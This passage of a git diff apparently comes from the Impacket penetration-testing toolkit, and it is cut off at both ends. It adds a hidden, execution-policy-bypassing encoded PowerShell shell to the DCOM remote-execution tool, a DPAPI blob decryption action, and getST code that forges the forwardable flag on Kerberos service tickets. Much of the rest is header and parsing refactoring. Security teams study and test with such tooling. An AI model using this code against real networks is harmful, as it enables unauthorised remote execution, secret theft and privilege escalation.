SMB2_DIALECT_21 from impacket.krb5.keytab import Keytab @@ -58,7 +64,7 @@ class DCOMEXEC: def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, - noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None): + noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None): self.__command = command self.__username = username self.__password = password @@ -71,6 +77,7 @@ def __init__(self, command='', username='', password='', domain='', hashes=None, self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__dcomObject = dcomObject + self.__shell_type = shell_type self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') @@ -95,8 +102,8 @@ def getInterface(self, interface, resp): oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) - def run(self, addr): - if self.__noOutput is False: + def run(self, addr, silentCommand=False): + if self.__noOutput is False and silentCommand is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) @@ -160,17 +167,21 @@ def run(self, addr): iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] - self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) + self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) else: resp = iDocument.GetIDsOfNames(('Application',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] - self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) + self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) if self.__command != ' ': - self.shell.onecmd(self.__command) + try: + self.shell.onecmd(self.__command) + except TypeError: + if not silentCommand: + raise if self.shell is not None: self.shell.do_exit('') else: @@ -193,15 +204,18 @@ def run(self, addr): dcom.disconnect() class RemoteShell(cmd.Cmd): - def __init__(self, share, quit, executeShellCommand, smbConnection): + def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False): cmd.Cmd.__init__(self) self._share = share self._output = '\\' + OUTPUT_FILENAME self.__outputBuffer = '' self._shell = 'cmd.exe' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' self.__quit = quit self._executeShellCommand = executeShellCommand self.__transferClient = smbConnection + self._silentCommand = silentCommand self._pwd = 'C:\\windows\\system32' self._noOutput = False self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' @@ -220,8 +234,8 @@ def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) - put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) - get {file} - downloads pathname to the current local dir + lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) + lget {file} - downloads pathname to the current local dir ! {cmd} - executes a local shell cmd """) @@ -234,7 +248,7 @@ def do_lcd(self, s): except Exception as e: logging.error(str(e)) - def do_get(self, src_path): + def do_lget(self, src_path): try: import ntpath newPath = ntpath.normpath(ntpath.join(self._pwd, src_path)) @@ -249,7 +263,7 @@ def do_get(self, src_path): os.remove(filename) pass - def do_put(self, s): + def do_lput(self, s): try: params = s.split(' ') if len(params) > 1: @@ -283,6 +297,10 @@ def do_exit(self, s): 0, [], []) return True + def do_EOF(self, s): + print() + return self.do_exit(s) + def emptyline(self): return False @@ -299,6 +317,8 @@ def do_cd(self, s): self.execute_remote('cd ') self._pwd = self.__outputBuffer.strip('\r\n') self.prompt = (self._pwd + '>') + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = '' def default(self, line): @@ -315,7 +335,9 @@ def default(self, line): self._pwd = line self.execute_remote('cd ') self._pwd = self.__outputBuffer.strip('\r\n') - self.prompt = self._pwd + '>' + self.prompt = (self._pwd + '>') + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = '' else: if line != '': @@ -351,8 +373,16 @@ def output_callback(data): return self.get_output() self.__transferClient.deleteFile(self._share, self._output) - def execute_remote(self, data): - command = '/Q /c ' + data + def execute_remote(self, data, shell_type='cmd'): + if self._silentCommand is True: + self._shell = data.split()[0] + command = ' '.join(data.split()[1:]) + else: + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() + command = '/Q /c ' + data + if self._noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' @@ -407,13 +437,21 @@ def execute_remote(self, data): self.get_output() def send_data(self, data): - self.execute_remote(data) + self.execute_remote(data, self.__shell_type) print(self.__outputBuffer) self.__outputBuffer = '' class RemoteShellMMC20(RemoteShell): - def execute_remote(self, data): - command = '/Q /c ' + data + def execute_remote(self, data, shell_type='cmd'): + if self._silentCommand is True: + self._shell = data.split()[0] + command = ' '.join(data.split()[1:]) + else: + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode() + command = '/Q /c ' + data + if self._noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1' @@ -511,6 +549,7 @@ def load_smbclient_auth_file(path): parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the " "ShellBrowserWindow DCOM object.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' '(default ADMIN$)') @@ -525,9 +564,14 @@ def load_smbclient_auth_file(path): 'again with -codec and the corresponding codec ' % CODEC) parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows', help='DCOM object to be used to execute the shell command (default=ShellWindows)') - + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' + 'a command processor for the semi-interactive shell') parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' 'launch a semi-interactive shell') + parser.add_argument('-silentcommand', action='store_true', default = False, + help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)') group = parser.add_argument_group('authentication') @@ -562,6 +606,9 @@ def load_smbclient_auth_file(path): if ' '.join(options.command) == ' ' and options.nooutput is True: logging.error("-nooutput switch and interactive shell not supported") sys.exit(1) + if options.silentcommand and options.command == ' ': + logging.error("-silentcommand switch and interactive shell not supported") + sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) @@ -570,15 +617,15 @@ def load_smbclient_auth_file(path): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) try: if options.A is not None: @@ -600,8 +647,8 @@ def load_smbclient_auth_file(path): options.k = True executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, - options.share, options.nooutput, options.k, options.dc_ip, options.object) - executer.run(address) + options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type) + executer.run(address, options.silentcommand) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback diff --git a/examples/dpapi.py b/examples/dpapi.py index 7ed8477a1f..bdb6596ea6 100755 --- a/examples/dpapi.py +++ b/examples/dpapi.py @@ -1,15 +1,17 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# Example for using the DPAPI/Vault structures to unlock Windows Secrets. +# Example for using the DPAPI/Vault structures to unlock Windows Secrets. +# +# Author: +# Alberto Solino (@agsolino) # # Examples: # @@ -20,14 +22,16 @@ # In the case of vaults, you might need to also provide the user's sid (and the user password will be asked). # For system secrets, instead of a password you will need to specify the system and security hives. # -# References: All of the work done by these guys. I just adapted their work to my needs. -# https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 -# https://github.com/jordanbtucker/dpapick -# https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) -# http://blog.digital-forensics.it/2016/01/windows-revaulting.html -# https://www.passcape.com/windows_password_recovery_vault_explorer -# https://www.passcape.com/windows_password_recovery_dpapi_master_key +# References: +# All of the work done by these guys. I just adapted their work to my needs. +# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# - https://github.com/jordanbtucker/dpapick +# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) +# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# - https://www.passcape.com/windows_password_recovery_vault_explorer +# - https://www.passcape.com/windows_password_recovery_dpapi_master_key # + from __future__ import division from __future__ import print_function @@ -35,7 +39,7 @@ import argparse import logging import sys -import re +from six import b from binascii import unhexlify, hexlify from hashlib import pbkdf2_hmac @@ -50,12 +54,14 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket import version from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.examples.secretsdump import LocalOperations, LSASecrets from impacket.structure import hexdump from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY + class DPAPI: def __init__(self, options): self.options = options @@ -266,11 +272,7 @@ def run(self): return elif self.options.target is not None: - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(self.options.target).groups('') - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(self.options.target) if domain is None: domain = '' @@ -335,8 +337,8 @@ def run(self): # credit to @gentilkiwi elif self.options.action.upper() == 'BACKUPKEYS': - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - self.options.target).groups('') + domain, username, password, address = parse_target(self.options.target) + if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None: from getpass import getpass password = getpass ("Password:") @@ -476,6 +478,30 @@ def run(self): keys = VAULT_VPOL_KEYS(data) keys.dump() return + elif self.options.action.upper() == 'UNPROTECT': + fp = open(options.file, 'rb') + data = fp.read() + blob = DPAPI_BLOB(data) + + if self.options.key is not None: + key = unhexlify(self.options.key[2:]) + if self.options.entropy_file is not None: + fp2 = open(self.options.entropy_file, 'rb') + entropy = fp2.read() + fp2.close() + elif self.options.entropy is not None: + entropy = b(self.options.entropy) + b'\x00' + else: + entropy = None + + decrypted = blob.decrypt(key, entropy) + if decrypted is not None: + print('Successfully decrypted data') + hexdump(decrypted) + return + else: + # Just print the data + blob.dump() print('Cannot decrypt (specify -key or -sid whenever applicable) ') @@ -485,7 +511,7 @@ def run(self): logger.init() print(version.BANNER) - parser = argparse.ArgumentParser(add_help=True, description="Nose") + parser = argparse.ArgumentParser(add_help=True, description="Example for using the DPAPI/Vault structures to unlock Windows Secrets.") parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') @@ -535,6 +561,13 @@ def run(self): vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file') vault.add_argument('-key', action='store', required=False, help='Master key used for decryption') + # A CryptUnprotectData command + unprotect = subparsers.add_parser('unprotect', help='Provides CryptUnprotectData functionality') + unprotect.add_argument('-file', action='store', required=True, help='File with DATA_BLOB to decrypt') + unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption') + unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption') + unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)') + options = parser.parse_args() if len(sys.argv)==1: @@ -556,4 +589,4 @@ def run(self): if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() - print(str(e)) + print('ERROR: %s' % str(e)) diff --git a/examples/esentutl.py b/examples/esentutl.py index 73e4bea090..353d60129f 100755 --- a/examples/esentutl.py +++ b/examples/esentutl.py @@ -1,20 +1,22 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# ESE utility. Allows dumping catalog, pages and tables. +# ESE utility. Allows dumping catalog, pages and tables. # # Author: -# Alberto Solino (@agsolino) -# +# Alberto Solino (@agsolino) # # Reference for: -# Extensive Storage Engine (ese) -# +# Extensive Storage Engine (ese) +# + from __future__ import division from __future__ import print_function import sys diff --git a/examples/exchanger.py b/examples/exchanger.py index 74b7883030..78763347eb 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -1,24 +1,26 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) -# # Description: -# A tool for connecting to MS Exchange via RPC over HTTP v2 +# A tool for connecting to MS Exchange via RPC over HTTP v2 # -# Notes about -rpc-hostname: -# Our RPC over HTTP v2 implementation tries to extract the -# target's NetBIOS name via NTLMSSP and use it as RPC Server name. -# If it fails, you have to manually get the target RPC Server name -# from the Autodiscover service and set it in the -rpc-hostname parameter. +# Notes about -rpc-hostname: +# Our RPC over HTTP v2 implementation tries to extract the +# target's NetBIOS name via NTLMSSP and use it as RPC Server name. +# If it fails, you have to manually get the target RPC Server name +# from the Autodiscover service and set it in the -rpc-hostname parameter. +# +# Author: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # References: -# https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ +# - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ # from __future__ import print_function @@ -33,6 +35,7 @@ from impacket import uuid, version from impacket.http import AUTH_BASIC from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.structure import parse_bitmask from impacket.dcerpc.v5 import transport, nspi from impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES @@ -966,13 +969,7 @@ def localized_arg(bytestring): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?([^:]*)').match(options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/findDelegation.py b/examples/findDelegation.py index a49aca765e..edd7d761c5 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -1,20 +1,24 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Dave Cossa (@G0ldenGunSec) -# Based on GetUserSPNs.py by Alberto Solino (@agsolino) -# # Description: -# This module will try to find all delegation relationships in a given domain. -# Delegation relationships can provide info on specific users and systems to target, as access to these systems will grant access elsewhere also. -# Unconstrained, constrained, and resource-based constrained delegation types are queried for and displayed. +# This module will try to find all delegation relationships in a given domain. +# Delegation relationships can provide info on specific users and systems to target, +# as access to these systems will grant access elsewhere also. +# Unconstrained, constrained, and resource-based constrained delegation types are queried +# for and displayed. # +# Author: +# Dave Cossa (@G0ldenGunSec) +# Based on GetUserSPNs.py by Alberto Solino (@agsolino) # + from __future__ import division from __future__ import print_function @@ -25,6 +29,7 @@ from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.ldap import ldaptypes from impacket.smbconnection import SMBConnection @@ -265,8 +270,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - import re - userDomain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.target).groups('') + userDomain, username, password = parse_credentials(options.target) if userDomain == '': logging.critical('userDomain should be specified!') diff --git a/examples/getArch.py b/examples/getArch.py index 090f6c5958..9f0ddebbd1 100755 --- a/examples/getArch.py +++ b/examples/getArch.py @@ -1,14 +1,12 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# -# Author: -# beto (@agsolino) -# # Description: # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type # installed. @@ -18,9 +16,13 @@ # # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. # +# Author: +# beto (@agsolino) +# # Reference for: -# RPCRT, NDR +# RPCRT, NDR # + from __future__ import division from __future__ import print_function import argparse diff --git a/examples/getPac.py b/examples/getPac.py index f983d0cde8..1d2d532587 100755 --- a/examples/getPac.py +++ b/examples/getPac.py @@ -1,22 +1,25 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# This script will get the PAC of the specified target user just having a normal authenticated user credentials. -# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. -# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) +# This script will get the PAC of the specified target user just having a normal authenticated user credentials. +# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. +# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) +# +# Author: +# Alberto Solino (@agsolino) # # References: +# - U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# - [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx # -# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 -# [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx + from __future__ import division from __future__ import print_function import argparse @@ -35,6 +38,7 @@ from impacket import version from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 @@ -305,8 +309,7 @@ def dump(self): options = parser.parse_args() - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match( - options.credentials).groups('') + domain, username, password = parse_credentials(options.credentials) if domain is None: domain = '' diff --git a/examples/getST.py b/examples/getST.py index 391e3953a8..fa536ff1f0 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,38 +1,40 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache -# If the account has constrained delegation (with protocol transition) privileges you will be able to use -# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to -# request the ticket.) +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) # -# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) # -# Examples: -# -# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user -# or -# If you have tickets cached (run klist to verify) the script will use them +# Examples: +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them # ./getST.py -k -spn cifs/contoso-dc contoso.com/user -# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets -# by default. +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. # -# Also, if the account is configured with constrained delegation (with protocol transition) you can request -# service tickets for other users, assuming the target SPN is allowed for delegation: +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: # ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user # -# The output of this script will be a service ticket for the Administrator user. +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # -# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# Author: +# Alberto Solino (@agsolino) # + from __future__ import division from __future__ import print_function import argparse @@ -42,7 +44,7 @@ import random import struct import sys -from binascii import unhexlify +from binascii import hexlify, unhexlify from six import b from pyasn1.codec.der import decoder, encoder @@ -50,27 +52,32 @@ from impacket import version from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash from impacket.winregistry import hexdump class GETST: def __init__(self, target, password, domain, options): self.__password = password - self.__user= target + self.__user = target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__force_forwardable = options.force_forwardable + self.__additional_ticket = options.additional_ticket self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -82,9 +89,215 @@ def saveTicket(self, ticket, sessionKey): ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__saveFileName + '.ccache') - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): - decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) + else: + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) + else: + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 